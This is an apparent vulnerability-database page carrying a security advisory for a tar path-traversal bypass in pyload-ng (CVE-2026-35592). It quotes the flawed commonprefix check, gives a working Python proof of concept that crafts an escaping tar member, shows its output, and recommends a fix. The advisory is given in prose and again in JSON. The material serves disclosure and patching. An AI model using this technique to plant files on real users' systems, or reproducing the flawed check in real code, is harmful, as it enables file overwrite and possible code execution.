GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-MVWX-582F-56R7

Vulnerability from github – Published: 2026-04-08 00:04 – Updated: 2026-06-08 19:47
VLAI
Summary
pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass
Details

Summary

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

  • commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passes
  • commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')

Output:

Member: ../test_extraction_dir_pwned/evil.txt
Resolved: /tmp/test_extraction_dir_pwned/evil.txt
Check passes (should be False): True
File escaped to: /tmp/test_extraction_dir_pwned/evil.txt
Content: escaped the sandbox!

Impact

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

  • Writing files outside the intended extraction directory into adjacent directories
  • Overwriting other users' downloads
  • Planting malicious files in predictable locations on disk
  • If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Recommended Fix

Replace the broken inline _is_within_directory with the correct is_within_directory from pyload.core.utils.fs:

import os
import sys
import tarfile

from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError


# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:04:37Z",
    "nvd_published_at": "2026-04-07T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix.\n\n## Details\n\nThe GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct `is_within_directory()` function to `src/pyload/core/utils/fs.py:384-391` using `os.path.commonpath()`:\n\n```python\n# fs.py:384 \u2014 CORRECT implementation\ndef is_within_directory(base_dir, target_dir):\n    real_base = os.path.realpath(base_dir)\n    real_target = os.path.realpath(target_dir)\n    return os.path.commonpath([real_base, real_target]) == real_base\n```\n\nHowever, the `_safe_extractall()` function in `UnTar.py:10-22` was left unchanged with the broken `os.path.commonprefix()`:\n\n```python\n# UnTar.py:10-22 \u2014 VULNERABLE implementation\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    def _is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14\n        return prefix == abs_directory\n\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not _is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\n`os.path.commonprefix()` is a **string operation**, not a path operation. For extraction destination `/downloads/pkg` and a malicious member `../pkg_evil/payload` (resolving to `/downloads/pkg_evil/payload`):\n\n- `commonprefix([\u0027/downloads/pkg\u0027, \u0027/downloads/pkg_evil/payload\u0027])` \u2192 `\u0027/downloads/pkg\u0027` \u2014 **equals the directory, check passes**\n- `commonpath([\u0027/downloads/pkg\u0027, \u0027/downloads/pkg_evil/payload\u0027])` \u2192 `\u0027/downloads\u0027` \u2014 **does NOT equal the directory, check correctly fails**\n\nThe extraction path is reached via: `ExtractArchive.package_finished()` (line 182) \u2192 `extract_queued()` \u2192 `UnTar.extract()` (line 76) \u2192 `_safe_extractall(t, self.dest)` (line 81).\n\n## PoC\n\nSelf-contained proof of concept demonstrating the bypass:\n\n```python\nimport tarfile, io, os, shutil\n\ndest = \u0027/tmp/test_extraction_dir\u0027\nshutil.rmtree(dest, ignore_errors=True)\nshutil.rmtree(\u0027/tmp/test_extraction_dir_pwned\u0027, ignore_errors=True)\nos.makedirs(dest, exist_ok=True)\n\n# Step 1: Create malicious tar with member that escapes via prefix trick\nwith tarfile.open(\u0027/tmp/evil.tar.gz\u0027, \u0027w:gz\u0027) as tar:\n    info = tarfile.TarInfo(name=\u0027../test_extraction_dir_pwned/evil.txt\u0027)\n    data = b\u0027escaped the sandbox!\u0027\n    info.size = len(data)\n    tar.addfile(info, io.BytesIO(data))\n\n# Step 2: Reproduce the vulnerable check from UnTar.py:11-15\ndef _is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory\n\n# Step 3: Verify the check is bypassed\nwith tarfile.open(\u0027/tmp/evil.tar.gz\u0027) as tar:\n    for member in tar.getmembers():\n        member_path = os.path.join(dest, member.name)\n        bypassed = _is_within_directory(dest, member_path)\n        print(f\u0027Member: {member.name}\u0027)\n        print(f\u0027Resolved: {os.path.abspath(member_path)}\u0027)\n        print(f\u0027Check passes (should be False): {bypassed}\u0027)\n    tar.extractall(dest)\n\n# Step 4: Confirm file was written outside extraction directory\nescaped_file = \u0027/tmp/test_extraction_dir_pwned/evil.txt\u0027\nassert os.path.exists(escaped_file), \"File did not escape\"\nprint(f\u0027File escaped to: {escaped_file}\u0027)\nprint(f\u0027Content: {open(escaped_file).read()}\u0027)\n```\n\nOutput:\n```\nMember: ../test_extraction_dir_pwned/evil.txt\nResolved: /tmp/test_extraction_dir_pwned/evil.txt\nCheck passes (should be False): True\nFile escaped to: /tmp/test_extraction_dir_pwned/evil.txt\nContent: escaped the sandbox!\n```\n\n## Impact\n\nAn attacker who hosts a malicious `.tar.gz` archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:\n\n- Writing files outside the intended extraction directory into adjacent directories\n- Overwriting other users\u0027 downloads\n- Planting malicious files in predictable locations on disk\n- If combined with other primitives (e.g., writing a `.bashrc`, cron job, or plugin file), this could lead to code execution\n\nThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.\n\n## Recommended Fix\n\nReplace the broken inline `_is_within_directory` with the correct `is_within_directory` from `pyload.core.utils.fs`:\n\n```python\nimport os\nimport sys\nimport tarfile\n\nfrom pyload.core.utils.fs import is_within_directory, safejoin\nfrom pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError\n\n\n# Fix for tarfile CVE-2007-4559\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\nThis removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.",
  "id": "GHSA-mvwx-582f-56r7",
  "modified": "2026-06-08T19:47:21Z",
  "published": "2026-04-08T00:04:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35592"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-124.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.